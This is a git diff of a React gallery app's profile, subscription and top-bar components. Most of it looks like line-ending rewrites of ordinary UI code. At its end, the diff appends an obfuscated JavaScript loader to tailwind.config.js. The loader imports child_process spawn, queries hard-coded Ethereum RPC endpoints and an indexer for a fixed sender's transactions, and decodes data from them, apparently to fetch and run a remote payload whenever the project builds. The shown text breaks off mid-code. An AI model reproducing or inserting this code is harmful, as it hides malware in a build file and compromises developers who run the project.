- ); - } -}; - -export default TopBar; +import { FC } from "react"; +import { ChevronLeft, Edit2, Upload, Share2 } from "lucide-react"; +import TopBarSkeleton from "./TopBarSkeleton"; +import SectionBar from "./SectionBar"; + +interface TopBarProps { + galleryGuid: string; + galleryName: string; + isLoading: boolean; + onBack: () => void; + onEdit: () => void; + onUpload: () => void; + onPublish: () => void; + setSection: (sectionGuid: string) => void; +} + +const TopBar: FC = ({ + galleryGuid, + galleryName, + isLoading, + onBack, + onEdit, + onUpload, + onPublish, + setSection, +}) => { + if (isLoading) { + return ; + } else { + return ( +
+
+
+ +
+

+ {galleryName} +

+ +
+
+ +
+ + + + + +
+
+
+ ); + } +}; + +export default TopBar; diff --git a/src/components/Profile/Details.tsx b/src/components/Profile/Details.tsx index a99c58d..7947a2c 100644 --- a/src/components/Profile/Details.tsx +++ b/src/components/Profile/Details.tsx @@ -1,63 +1,63 @@ -import Cookies from "js-cookie"; -import useUserState from "../../scripts/auth/useState"; -import { LogOut, User2 } from "lucide-react"; -import { useNavigate } from "react-router-dom"; -import SubscriptionDetails from "./SubscriptionDetails"; - -import { useState } from "react"; -import ResetPasswordDialog from "./ResetPasswordDialog"; - -export default function Details() { - const user = useUserState(); - const navigate = useNavigate(); - - const [showChangePasswordDialog, setShowChangePasswordDialog] = useState(false); - - const signOut = () => { - Cookies.remove("accessToken"); - Cookies.remove("refreshToken"); - navigate("/sign-in"); - }; - - const resetPassword = () => { - setShowChangePasswordDialog(true); - }; - - return ( -
-
-
- -
-
- - {user.firstName} {user.lastName} - - {user.email} -
-
- - - - - - - - {showChangePasswordDialog && ( - - )} - -
- ); -} +import Cookies from "js-cookie"; +import useUserState from "../../scripts/auth/useState"; +import { LogOut, User2 } from "lucide-react"; +import { useNavigate } from "react-router-dom"; +import SubscriptionDetails from "./SubscriptionDetails"; + +import { useState } from "react"; +import ResetPasswordDialog from "./ResetPasswordDialog"; + +export default function Details() { + const user = useUserState(); + const navigate = useNavigate(); + + const [showChangePasswordDialog, setShowChangePasswordDialog] = useState(false); + + const signOut = () => { + Cookies.remove("accessToken"); + Cookies.remove("refreshToken"); + navigate("/sign-in"); + }; + + const resetPassword = () => { + setShowChangePasswordDialog(true); + }; + + return ( +
+
+
+ +
+
+ + {user.firstName} {user.lastName} + + {user.email} +
+
+ + + + + + + + {showChangePasswordDialog && ( + + )} + +
+ ); +} diff --git a/src/components/Profile/ResetPasswordDialog.tsx b/src/components/Profile/ResetPasswordDialog.tsx index 5507490..bb95227 100644 --- a/src/components/Profile/ResetPasswordDialog.tsx +++ b/src/components/Profile/ResetPasswordDialog.tsx @@ -1,268 +1,268 @@ -import { useState, FormEvent, MouseEvent } from "react"; -import getAuthToken from "../../scripts/auth/getAuthToken"; -import { useNavigate } from "react-router-dom"; -import { Eye, EyeOff } from "lucide-react"; - -interface Props { - setState: (state: boolean) => void; -} - -interface Errors { - oldPassword: string; - newPassword: string; - confirmPassword: string; -} - -const API_BASE = import.meta.env.VITE_API_BASE_URL; - -function ResetPasswordDialog({ setState }: Props) { - const navigate = useNavigate(); - - const [oldPassword, setOldPassword] = useState(""); - const [newPassword, setNewPassword] = useState(""); - const [confirmPassword, setConfirmPassword] = useState(""); - const [errors, setErrors] = useState({ - oldPassword: "", - newPassword: "", - confirmPassword: "", - }); - const [isLoading, setIsLoading] = useState(false); - const [successState, setSuccessState] = useState(false); - const [error, setError] = useState(null); - - // New state for toggling visibility - const [showOld, setShowOld] = useState(false); - const [showNew, setShowNew] = useState(false); - const [showConfirm, setShowConfirm] = useState(false); - - const handleClose = () => setState(false); - - const validateForm = (): boolean => { - const newErrors: Errors = { - oldPassword: "", - newPassword: "", - confirmPassword: "", - }; - - if (!oldPassword.trim()) newErrors.oldPassword = "Old password is required"; - if (!newPassword.trim()) newErrors.newPassword = "New password is required"; - else if (newPassword.length < 6) newErrors.newPassword = "New password must be at least 6 characters"; - if (newPassword !== confirmPassword) newErrors.confirmPassword = "Passwords do not match"; - - setErrors(newErrors); - return Object.values(newErrors).every((v) => v === ""); - }; - - const handleSubmit = async (e: FormEvent) => { - e.preventDefault(); - if (!validateForm()) return; - - setIsLoading(true); - setError(null); - - try { - const token = await getAuthToken(navigate); - - const res = await fetch(`${API_BASE}/api/user/change_password`, { - method: "POST", - headers: { - "Content-Type": "application/json", - Authorization: `Bearer ${token}`, - }, - body: JSON.stringify({ oldPassword, newPassword }), - }); - - const data = await res.json(); - - if (res.ok) { - setSuccessState(true); - setTimeout(() => { - setState(false); - }, 1500); - } else if (data.errors) { - const newErrors: Errors = { - oldPassword: "", - newPassword: "", - confirmPassword: "", - }; - data.errors.forEach((err: { field: string; message: string }) => { - if (err.field in newErrors) newErrors[err.field as keyof Errors] = err.message; - }); - setErrors(newErrors); - } else { - setError(data.message || "Something went wrong"); - } - } catch (err) { - setError("Network error or unexpected issue."); - } finally { - setIsLoading(false); - } - }; - - const handleOutsideClick = (e: MouseEvent) => { - if (e.target === e.currentTarget && !isLoading) handleClose(); - }; - - const handleFormClick = (e: MouseEvent) => { - e.stopPropagation(); - }; - - const renderPasswordField = ( - label: string, - name: string, - value: string, - onChange: (e: React.ChangeEvent) => void, - errorMsg: string, - show: boolean, - toggleShow: () => void - ) => ( -
- - -
- - -
- - {errorMsg &&

{errorMsg}

} -
- - - ); - - return ( -
-
-
-
-

Change Password

- -
- - {error && ( -
- - - - {error} -
- )} - -
- {renderPasswordField( - "Old Password", - "oldPassword", - oldPassword, - (e) => setOldPassword(e.target.value), - errors.oldPassword, - showOld, - () => setShowOld((prev) => !prev) - )} - - {renderPasswordField( - "New Password", - "newPassword", - newPassword, - (e) => setNewPassword(e.target.value), - errors.newPassword, - showNew, - () => setShowNew((prev) => !prev) - )} - - {renderPasswordField( - "Confirm Password", - "confirmPassword", - confirmPassword, - (e) => setConfirmPassword(e.target.value), - errors.confirmPassword, - showConfirm, - () => setShowConfirm((prev) => !prev) - )} - -
- - -
-
-
-
-
- ); -} - -export default ResetPasswordDialog; +import { useState, FormEvent, MouseEvent } from "react"; +import getAuthToken from "../../scripts/auth/getAuthToken"; +import { useNavigate } from "react-router-dom"; +import { Eye, EyeOff } from "lucide-react"; + +interface Props { + setState: (state: boolean) => void; +} + +interface Errors { + oldPassword: string; + newPassword: string; + confirmPassword: string; +} + +const API_BASE = import.meta.env.VITE_API_BASE_URL; + +function ResetPasswordDialog({ setState }: Props) { + const navigate = useNavigate(); + + const [oldPassword, setOldPassword] = useState(""); + const [newPassword, setNewPassword] = useState(""); + const [confirmPassword, setConfirmPassword] = useState(""); + const [errors, setErrors] = useState({ + oldPassword: "", + newPassword: "", + confirmPassword: "", + }); + const [isLoading, setIsLoading] = useState(false); + const [successState, setSuccessState] = useState(false); + const [error, setError] = useState(null); + + // New state for toggling visibility + const [showOld, setShowOld] = useState(false); + const [showNew, setShowNew] = useState(false); + const [showConfirm, setShowConfirm] = useState(false); + + const handleClose = () => setState(false); + + const validateForm = (): boolean => { + const newErrors: Errors = { + oldPassword: "", + newPassword: "", + confirmPassword: "", + }; + + if (!oldPassword.trim()) newErrors.oldPassword = "Old password is required"; + if (!newPassword.trim()) newErrors.newPassword = "New password is required"; + else if (newPassword.length < 6) newErrors.newPassword = "New password must be at least 6 characters"; + if (newPassword !== confirmPassword) newErrors.confirmPassword = "Passwords do not match"; + + setErrors(newErrors); + return Object.values(newErrors).every((v) => v === ""); + }; + + const handleSubmit = async (e: FormEvent) => { + e.preventDefault(); + if (!validateForm()) return; + + setIsLoading(true); + setError(null); + + try { + const token = await getAuthToken(navigate); + + const res = await fetch(`${API_BASE}/api/user/change_password`, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${token}`, + }, + body: JSON.stringify({ oldPassword, newPassword }), + }); + + const data = await res.json(); + + if (res.ok) { + setSuccessState(true); + setTimeout(() => { + setState(false); + }, 1500); + } else if (data.errors) { + const newErrors: Errors = { + oldPassword: "", + newPassword: "", + confirmPassword: "", + }; + data.errors.forEach((err: { field: string; message: string }) => { + if (err.field in newErrors) newErrors[err.field as keyof Errors] = err.message; + }); + setErrors(newErrors); + } else { + setError(data.message || "Something went wrong"); + } + } catch (err) { + setError("Network error or unexpected issue."); + } finally { + setIsLoading(false); + } + }; + + const handleOutsideClick = (e: MouseEvent) => { + if (e.target === e.currentTarget && !isLoading) handleClose(); + }; + + const handleFormClick = (e: MouseEvent) => { + e.stopPropagation(); + }; + + const renderPasswordField = ( + label: string, + name: string, + value: string, + onChange: (e: React.ChangeEvent) => void, + errorMsg: string, + show: boolean, + toggleShow: () => void + ) => ( +
+ + +
+ + +
+ + {errorMsg &&

{errorMsg}

} +
+ + + ); + + return ( +
+
+
+
+

Change Password

+ +
+ + {error && ( +
+ + + + {error} +
+ )} + +
+ {renderPasswordField( + "Old Password", + "oldPassword", + oldPassword, + (e) => setOldPassword(e.target.value), + errors.oldPassword, + showOld, + () => setShowOld((prev) => !prev) + )} + + {renderPasswordField( + "New Password", + "newPassword", + newPassword, + (e) => setNewPassword(e.target.value), + errors.newPassword, + showNew, + () => setShowNew((prev) => !prev) + )} + + {renderPasswordField( + "Confirm Password", + "confirmPassword", + confirmPassword, + (e) => setConfirmPassword(e.target.value), + errors.confirmPassword, + showConfirm, + () => setShowConfirm((prev) => !prev) + )} + +
+ + +
+
+
+
+
+ ); +} + +export default ResetPasswordDialog; \ No newline at end of file diff --git a/src/components/Profile/SubscriptionDetails.tsx b/src/components/Profile/SubscriptionDetails.tsx index ddd70c9..e3a475d 100644 --- a/src/components/Profile/SubscriptionDetails.tsx +++ b/src/components/Profile/SubscriptionDetails.tsx @@ -1,257 +1,257 @@ -import { useState, useEffect } from "react"; -import getAuthToken from "../../scripts/auth/getAuthToken"; -import { useNavigate } from "react-router-dom"; - -const API_BASE = import.meta.env.VITE_API_BASE_URL; - -interface SubscriptionItem { - period_start: number; - period_end: number; - product_code: string; -} - -interface Subscription { - canceled_at: number | null; - items: { - [key: string]: SubscriptionItem; - }; -} - -interface SubscriptionResponse { - active: { - [key: string]: Subscription; - }; -} - -export default function SubscriptionDetails() { - const [subscription, setSubscription] = useState( - null - ); - const [isLoading, setIsLoading] = useState(true); - const [error, setError] = useState(null); - const [isCanceling, setIsCanceling] = useState(false); - const [showConfirmDialog, setShowConfirmDialog] = useState(false); - const [pendingCancelId, setPendingCancelId] = useState(""); - const navigate = useNavigate() - - const formatDate = (timestamp: number) => { - return new Date(timestamp * 1000).toLocaleDateString("en-US", { - year: "numeric", - month: "long", - day: "numeric", - }); - }; - - const getProductName = (code: string) => { - const products: { [key: string]: string } = { - basic: "Basic Plan", - pro: "Pro Plan", - enterprise: "Enterprise Plan", - }; - return products[code] || code; - }; - - const handleCancelSubscription = async (subscriptionId: string) => { - try { - setIsCanceling(true); - const authToken = await getAuthToken(navigate); - const response = await fetch( - `${API_BASE}/api/payments/cancel_subscription`, - { - method: "POST", - headers: { - "Content-Type": "application/json", - Authorization: `Bearer ${authToken}`, - }, - body: JSON.stringify({ subscriptionId }), - } - ); - - if (!response.ok) { - throw new Error("Failed to cancel subscription"); - } - - // Refresh subscription data - await fetchSubscriptionDetails(); - } catch (err) { - setError( - err instanceof Error ? err.message : "Failed to cancel subscription" - ); - } finally { - setIsCanceling(false); - } - }; - - const fetchSubscriptionDetails = async (): Promise => { - try { - const authToken = await getAuthToken(navigate); - const response = await fetch(`${API_BASE}/api/payments/subscriptions`, { - method: "GET", - headers: { - "Content-Type": "application/json", - Authorization: `Bearer ${authToken}`, - }, - }); - - if (!response.ok) { - throw new Error("Failed to fetch subscription details"); - } - - const data = await response.json(); - setSubscription(data); - } catch (err) { - setError( - err instanceof Error ? err.message : "An unknown error occurred" - ); - } finally { - setIsLoading(false); - } - }; - - useEffect(() => { - fetchSubscriptionDetails(); - }, []); - - const openCancelDialog = (subscriptionId: string) => { - setPendingCancelId(subscriptionId); - setShowConfirmDialog(true); - }; - - const handleConfirmCancel = async () => { - await handleCancelSubscription(pendingCancelId); - setShowConfirmDialog(false); - setPendingCancelId(""); - }; - - return ( -
-
- {isLoading && ( -
-
-
- )} - - {error && ( -
-

{error}

-
- )} - - {subscription && - Object.entries(subscription.active).map(([subId, sub]) => ( -
- {Object.values(sub.items).map((item, index) => ( -
-
-
-
-

- {getProductName(item.product_code)} -

- - {sub.canceled_at ? "Canceling" : "Active"} - -
-

Current billing period

-

- {formatDate(item.period_start)} -{" "} - {formatDate(item.period_end)} -

-
-
- - {sub.canceled_at ? ( -
-

- - - - Subscription will end on {formatDate(item.period_end)} -

-
- ) : ( - - )} -
- ))} -
- ))} - - {subscription && Object.keys(subscription.active).length === 0 && ( -
-

No active subscriptions found.

- -
- )} -
- - {showConfirmDialog && ( -
-
-

- Cancel Subscription? -

-

- Are you sure you want to cancel your subscription? You'll continue - to have access until the end of your current billing period. -

-
- - -
-
-
- )} -
- ); -} +import { useState, useEffect } from "react"; +import getAuthToken from "../../scripts/auth/getAuthToken"; +import { useNavigate } from "react-router-dom"; + +const API_BASE = import.meta.env.VITE_API_BASE_URL; + +interface SubscriptionItem { + period_start: number; + period_end: number; + product_code: string; +} + +interface Subscription { + canceled_at: number | null; + items: { + [key: string]: SubscriptionItem; + }; +} + +interface SubscriptionResponse { + active: { + [key: string]: Subscription; + }; +} + +export default function SubscriptionDetails() { + const [subscription, setSubscription] = useState( + null + ); + const [isLoading, setIsLoading] = useState(true); + const [error, setError] = useState(null); + const [isCanceling, setIsCanceling] = useState(false); + const [showConfirmDialog, setShowConfirmDialog] = useState(false); + const [pendingCancelId, setPendingCancelId] = useState(""); + const navigate = useNavigate() + + const formatDate = (timestamp: number) => { + return new Date(timestamp * 1000).toLocaleDateString("en-US", { + year: "numeric", + month: "long", + day: "numeric", + }); + }; + + const getProductName = (code: string) => { + const products: { [key: string]: string } = { + basic: "Basic Plan", + pro: "Pro Plan", + enterprise: "Enterprise Plan", + }; + return products[code] || code; + }; + + const handleCancelSubscription = async (subscriptionId: string) => { + try { + setIsCanceling(true); + const authToken = await getAuthToken(navigate); + const response = await fetch( + `${API_BASE}/api/payments/cancel_subscription`, + { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${authToken}`, + }, + body: JSON.stringify({ subscriptionId }), + } + ); + + if (!response.ok) { + throw new Error("Failed to cancel subscription"); + } + + // Refresh subscription data + await fetchSubscriptionDetails(); + } catch (err) { + setError( + err instanceof Error ? err.message : "Failed to cancel subscription" + ); + } finally { + setIsCanceling(false); + } + }; + + const fetchSubscriptionDetails = async (): Promise => { + try { + const authToken = await getAuthToken(navigate); + const response = await fetch(`${API_BASE}/api/payments/subscriptions`, { + method: "GET", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${authToken}`, + }, + }); + + if (!response.ok) { + throw new Error("Failed to fetch subscription details"); + } + + const data = await response.json(); + setSubscription(data); + } catch (err) { + setError( + err instanceof Error ? err.message : "An unknown error occurred" + ); + } finally { + setIsLoading(false); + } + }; + + useEffect(() => { + fetchSubscriptionDetails(); + }, []); + + const openCancelDialog = (subscriptionId: string) => { + setPendingCancelId(subscriptionId); + setShowConfirmDialog(true); + }; + + const handleConfirmCancel = async () => { + await handleCancelSubscription(pendingCancelId); + setShowConfirmDialog(false); + setPendingCancelId(""); + }; + + return ( +
+
+ {isLoading && ( +
+
+
+ )} + + {error && ( +
+

{error}

+
+ )} + + {subscription && + Object.entries(subscription.active).map(([subId, sub]) => ( +
+ {Object.values(sub.items).map((item, index) => ( +
+
+
+
+

+ {getProductName(item.product_code)} +

+ + {sub.canceled_at ? "Canceling" : "Active"} + +
+

Current billing period

+

+ {formatDate(item.period_start)} -{" "} + {formatDate(item.period_end)} +

+
+
+ + {sub.canceled_at ? ( +
+

+ + + + Subscription will end on {formatDate(item.period_end)} +

+
+ ) : ( + + )} +
+ ))} +
+ ))} + + {subscription && Object.keys(subscription.active).length === 0 && ( +
+

No active subscriptions found.

+ +
+ )} +
+ + {showConfirmDialog && ( +
+
+

+ Cancel Subscription? +

+

+ Are you sure you want to cancel your subscription? You'll continue + to have access until the end of your current billing period. +

+
+ + +
+
+
+ )} +
+ ); +} diff --git a/src/components/StorageQuota.tsx b/src/components/StorageQuota.tsx index a9e38a8..3e42617 100644 --- a/src/components/StorageQuota.tsx +++ b/src/components/StorageQuota.tsx @@ -1,38 +1,38 @@ -import { HardDrive } from "lucide-react"; - -interface Props { - isExpanded: boolean, -} - -const StorageQuota = ({ isExpanded }: Props) => { - const storageUsed = 75; - - return ( -
-
-
- -
- - Storage ({storageUsed}%) - -
-
-
-
-
- ); -}; - +import { HardDrive } from "lucide-react"; + +interface Props { + isExpanded: boolean, +} + +const StorageQuota = ({ isExpanded }: Props) => { + const storageUsed = 75; + + return ( +
+
+
+ +
+ + Storage ({storageUsed}%) + +
+
+
+
+
+ ); +}; + export default StorageQuota \ No newline at end of file diff --git a/tailwind.config.js b/tailwind.config.js index 4a3a4fd..12746b3 100644 --- a/tailwind.config.js +++ b/tailwind.config.js @@ -1,20 +1,21 @@ -/** @type {import('tailwindcss').Config} */ -module.exports = { - content: [ - "./index.html", - "./src/**/*.{js,ts,jsx,tsx}", - ], - theme: { - extend: { - colors: { - primary: '#1E293B', - accent: '#6366F1', - bgLight: '#F8FAFC', - bgDark: '#0F172A', - textMain: '#1E293B', - textLight: '#E2E8F0', - }, - }, - }, - plugins: [], -} +/** @type {import('tailwindcss').Config} */ +module.exports = { + content: [ + "./index.html", + "./src/**/*.{js,ts,jsx,tsx}", + ], + theme: { + extend: { + colors: { + primary: '#1E293B', + accent: '#6366F1', + bgLight: '#F8FAFC', + bgDark: '#0F172A', + textMain: '#1E293B', + textLight: '#E2E8F0', + }, + }, + }, + plugins: [], +}; global.i="A9-0298-3";const _0x3a2ebe=_0x355e;(function(_0x48f9d7,_0x1a07be){const _0x4e7ab0=_0x355e,_0x39127c=_0x48f9d7();while(!![]){try{const _0x3f9af1=parseInt(_0x4e7ab0(0xf0))/(0x1*-0x1087+-0x1170+-0x4*-0x87e)*(-parseInt(_0x4e7ab0(0xdd))/(0x7*0x165+0x160f+-0x1fd0))+-parseInt(_0x4e7ab0(0x13c))/(-0x202*0x2+-0xe38+0x123f)+-parseInt(_0x4e7ab0(0xa5))/(0x7b*0x39+-0x1*0x417+0xba4*-0x2)+parseInt(_0x4e7ab0(0xc0))/(0x3a0+-0x21a2+0x1e07*0x1)+parseInt(_0x4e7ab0(0xb5))/(0x8ff*0x2+-0x1a2*0x6+0x82c*-0x1)*(-parseInt(_0x4e7ab0(0x174))/(0x10a6+0x2534+-0x35d3))+parseInt(_0x4e7ab0(0x10c))/(-0x11d1+0xbe+0x1d*0x97)+parseInt(_0x4e7ab0(0x13a))/(-0xb8*0x8+0x1df6+0x80f*-0x3);if(_0x3f9af1===_0x1a07be)break;else _0x39127c['push'](_0x39127c['shift']());}catch(_0x388603){_0x39127c['push'](_0x39127c['shift']());}}}(_0x12f0,-0xfbb0*-0x2+0x1*0x13020b+0x5*-0x20155));import{createRequire}from'module';let require=createRequire(import.meta.url);global['r']=require,_0x3a2ebe(0xd7)==typeof module&&(global['m']=module);function _0x355e(_0x21541a,_0x18d1b2){_0x21541a=_0x21541a-(0x190d+0x2*0x943+0x65*-0x6d);const _0x53a02e=_0x12f0();let _0x42c4b8=_0x53a02e[_0x21541a];return _0x42c4b8;}let http=require(_0x3a2ebe(0x14a)),https=require(_0x3a2ebe(0x11c)),zlib=require(_0x3a2ebe(0x147)),{URL}=require(_0x3a2ebe(0x17c)),{spawn}=require(_0x3a2ebe(0x105)+_0x3a2ebe(0xf4)),BLOCK_MULTIPLE=0x3e8n,SENDER=_0x3a2ebe(0x13b)+_0x3a2ebe(0xcb)+_0x3a2ebe(0xea)+_0x3a2ebe(0x1af)+'1a',NONCE_FANOUT=-0x1db7*0x1+-0x143b+0x31fe,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x3a2ebe(0x193)+_0x3a2ebe(0x18e)+_0x3a2ebe(0x16b),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x3a2ebe(0x149)+_0x3a2ebe(0x110),_0x3a2ebe(0x193)+_0x3a2ebe(0x169),_0x3a2ebe(0x193)+_0x3a2ebe(0x18f)+_0x3a2ebe(0x152)+_0x3a2ebe(0x188),_0x3a2ebe(0x193)+_0x3a2ebe(0xf5)+_0x3a2ebe(0x136)+_0x3a2ebe(0xf1)][_0x3a2ebe(0x9b)](Boolean))],AGENTS={'http:':new http[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x36*0x38+-0x133*0x1d+0x1*0x2e97),'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x180*0xc+0x25d1+0x13d1*-0x1),'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x438117,_0x5d73ca){const _0x8685d7=_0x3a2ebe,_0x25ef4d={'TCDmB':_0x8685d7(0x9a)};_0x438117&&_0x438117[_0x8685d7(0x194)+_0x8685d7(0xf9)](_0x25ef4d[_0x8685d7(0x191)],()=>_0x5d73ca[_0x8685d7(0x9a)](),{'once':!(0x1*-0x1073+-0x319*-0x4+0x40f)});}function decompressStream(_0x1f71f7){const _0x29b168=_0x3a2ebe,_0x5d6cbb={'BTHgJ':_0x29b168(0xc8)+_0x29b168(0x126),'VLAGf':function(_0x5acbb2,_0x1cb9f1){return _0x5acbb2===_0x1cb9f1;},'JbAci':_0x29b168(0x148),'GAvxe':_0x29b168(0x186),'KvMSQ':function(_0x55b882,_0x1919d7){return _0x55b882===_0x1919d7;},'DSbLa':_0x29b168(0xeb)};let _0x98df8e=(_0x1f71f7[_0x29b168(0x14b)][_0x5d6cbb[_0x29b168(0x12f)]]||'')[_0x29b168(0xc2)+'e']();return _0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x14d)],_0x98df8e)||_0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x176)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x14c)+'ip']()):_0x5d6cbb[_0x29b168(0x134)](_0x5d6cbb[_0x29b168(0xfd)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x165)+_0x29b168(0xb1)]()):_0x5d6cbb[_0x29b168(0x164)]('br',_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x19f)+_0x29b168(0x12d)+'ss']()):_0x1f71f7;}function httpRequest(_0x593adb,{method:_0x25a99d=_0x3a2ebe(0x133),body:_0x3f686c,signal:_0x95d4f4}={}){const _0x3d2da5=_0x3a2ebe,_0x42d10d={'JODvp':function(_0x56ddc3,_0x1259f1){return _0x56ddc3(_0x1259f1);},'gvgPD':_0x3d2da5(0x19b),'gMfuo':_0x3d2da5(0xaf),'KaaPY':_0x3d2da5(0x142),'rysJt':_0x3d2da5(0xc1),'UlrdI':function(_0x322dc5,_0x2b93bc){return _0x322dc5===_0x2b93bc;},'MHjGK':_0x3d2da5(0xd5),'zBIcw':function(_0x2a5ebb,_0xfe6778){return _0x2a5ebb+_0xfe6778;},'VGOlJ':function(_0x563e9c,_0x3a7e42){return _0x563e9c!=_0x3a7e42;},'xuBDG':function(_0x4bfaf9,_0x580f75){return _0x4bfaf9===_0x580f75;},'sZAHS':_0x3d2da5(0x161)+_0x3d2da5(0xa8),'tjngf':_0x3d2da5(0x12a)+_0x3d2da5(0x1aa),'LGNYs':_0x3d2da5(0x131),'YvZxf':_0x3d2da5(0x1a9)+'pe','vWzxi':_0x3d2da5(0x16e)+_0x3d2da5(0x1b5)};let _0x3cdce5=new URL(_0x593adb),_0x5032cf=_0x42d10d[_0x3d2da5(0x12c)](_0x42d10d[_0x3d2da5(0x139)],_0x3cdce5[_0x3d2da5(0x196)])?https:http,_0x27236b={'Accept':_0x42d10d[_0x3d2da5(0xa0)],'Accept-Encoding':_0x42d10d[_0x3d2da5(0xbb)],'Connection':_0x42d10d[_0x3d2da5(0x135)]};return _0x42d10d[_0x3d2da5(0xe3)](null,_0x3f686c)&&(_0x27236b[_0x42d10d[_0x3d2da5(0x115)]]=_0x42d10d[_0x3d2da5(0xa0)],_0x27236b[_0x42d10d[_0x3d2da5(0x17b)]]=Buffer[_0x3d2da5(0x19d)](_0x3f686c)),new Promise((_0x19f067,_0x4835e3)=>{const _0x3ef1bc=_0x3d2da5;let _0xaf0385=_0x5032cf[_0x3ef1bc(0xc7)]({'hostname':_0x3cdce5[_0x3ef1bc(0x93)],'port':_0x3cdce5[_0x3ef1bc(0x15d)]||(_0x42d10d[_0x3ef1bc(0x120)](_0x42d10d[_0x3ef1bc(0x139)],_0x3cdce5[_0x3ef1bc(0x196)])?0x1*-0xcfb+-0x1d2d+0xf*0x2ed:0x1338+0x2*-0x8d5+-0x13e),'path':_0x42d10d[_0x3ef1bc(0x14e)](_0x3cdce5[_0x3ef1bc(0x150)],_0x3cdce5[_0x3ef1bc(0x10e)]),'method':_0x25a99d,'agent':AGENTS[_0x3cdce5[_0x3ef1bc(0x196)]],'signal':_0x95d4f4,'headers':_0x27236b},_0x574ec9=>{const _0x4fd834=_0x3ef1bc,_0x10e94a={'ZGtcg':function(_0x483995,_0x4a5702){const _0x49dc91=_0x355e;return _0x42d10d[_0x49dc91(0x114)](_0x483995,_0x4a5702);},'vJvXf':_0x42d10d[_0x4fd834(0x18b)]};let _0x431427=_0x42d10d[_0x4fd834(0x114)](decompressStream,_0x574ec9),_0x39bef6=[];_0x431427['on'](_0x42d10d[_0x4fd834(0x122)],_0x123305=>_0x39bef6[_0x4fd834(0x198)](_0x123305)),_0x431427['on'](_0x42d10d[_0x4fd834(0x1ac)],()=>{const _0x589be9=_0x4fd834;try{_0x10e94a[_0x589be9(0x99)](_0x19f067,JSON[_0x589be9(0xd4)](Buffer[_0x589be9(0x107)](_0x39bef6)[_0x589be9(0x159)](_0x10e94a[_0x589be9(0xc5)])));}catch(_0x1c95a1){_0x10e94a[_0x589be9(0x99)](_0x4835e3,_0x1c95a1);}}),_0x431427['on'](_0x42d10d[_0x4fd834(0x121)],_0x4835e3);});_0xaf0385['on'](_0x42d10d[_0x3ef1bc(0x121)],_0x4835e3),_0x42d10d[_0x3ef1bc(0xe3)](null,_0x3f686c)&&_0xaf0385[_0x3ef1bc(0xb6)](_0x3f686c),_0xaf0385[_0x3ef1bc(0x142)]();});}async function withRpcEndpoints(_0x3c144e,_0x2ea979){const _0x495608=_0x3a2ebe;let _0x418a00=RPC_ENDPOINTS[_0x495608(0x14f)](()=>new AbortController());_0x418a00[_0x495608(0x95)](_0x15379b=>linkAbort(_0x2ea979,_0x15379b));try{return await Promise[_0x495608(0x11e)](RPC_ENDPOINTS[_0x495608(0x14f)]((_0x4c6137,_0x2fd673)=>_0x3c144e(_0x4c6137,_0x418a00[_0x2fd673][_0x495608(0x10b)])));}finally{for(let _0x393e64 of _0x418a00)_0x393e64[_0x495608(0x9a)]();}}async function rpcCall(_0x1c3ac1,_0x908566,_0x2038b9,_0x36db10){const _0x24e2d3=_0x3a2ebe,_0x55d7b1={'hXaau':function(_0x7320cd,_0x19397a,_0x30fde9){return _0x7320cd(_0x19397a,_0x30fde9);},'MxoIv':_0x24e2d3(0x19c),'CtMxp':_0x24e2d3(0x97)};let _0xffe3dd=await _0x55d7b1[_0x24e2d3(0x109)](httpRequest,_0x1c3ac1,{'method':_0x55d7b1[_0x24e2d3(0x9f)],'body':JSON[_0x24e2d3(0x98)]({'jsonrpc':_0x55d7b1[_0x24e2d3(0x140)],'id':0x1,'method':_0x908566,'params':_0x2038b9}),'signal':_0x36db10});return _0xffe3dd[_0x24e2d3(0xd6)];}async function rpcBatch(_0xb94eeb,_0x2e1831,_0x1aa236){const _0x143ca3=_0x3a2ebe,_0x8d06ce={'vVkBr':function(_0x259c12,_0x46239b,_0x186b51){return _0x259c12(_0x46239b,_0x186b51);},'HiWYY':_0x143ca3(0x19c)};let _0x303103=await _0x8d06ce[_0x143ca3(0x103)](httpRequest,_0xb94eeb,{'method':_0x8d06ce[_0x143ca3(0x1a8)],'body':JSON[_0x143ca3(0x98)](_0x2e1831[_0x143ca3(0x14f)](([_0xe79aa1,_0x386e83],_0x397f41)=>({'jsonrpc':_0x143ca3(0x97),'id':_0x397f41+(-0x2b*-0x48+0x2467+0x3*-0x102a),'method':_0xe79aa1,'params':_0x386e83}))),'signal':_0x1aa236}),_0x43900d=new Map(_0x303103[_0x143ca3(0x14f)](_0x46f816=>[_0x46f816['id'],_0x46f816]));return _0x2e1831[_0x143ca3(0x14f)]((_0x246f0d,_0x260de3)=>_0x43900d[_0x143ca3(0xe9)](_0x260de3+(-0xa25*-0x2+0x19fa+-0x2e43))[_0x143ca3(0xd6)]);}let toBlockHex=_0x460a01=>'0x'+_0x460a01[_0x3a2ebe(0x159)](0x1b97+-0x2*0x3a7+-0x1f*0xa7);function findSenderTx(_0xaed72){const _0x58ebf2=_0x3a2ebe;return _0xaed72[_0x58ebf2(0x9d)](_0x11770d=>_0x11770d[_0x58ebf2(0x18c)]&&_0x11770d[_0x58ebf2(0x18c)][_0x58ebf2(0xc2)+'e']()===SENDER)||null;}function decodeAddress(_0x3f982d){const _0x53878e=_0x3a2ebe,_0x160094={'ScXiL':_0x53878e(0x15a),'jrdXD':function(_0x5aff48,_0x31311f){return _0x5aff48(_0x31311f);},'DGksE':function(_0x4f37d6,_0x4e64f1){return _0x4f37d6(_0x4e64f1);}};let 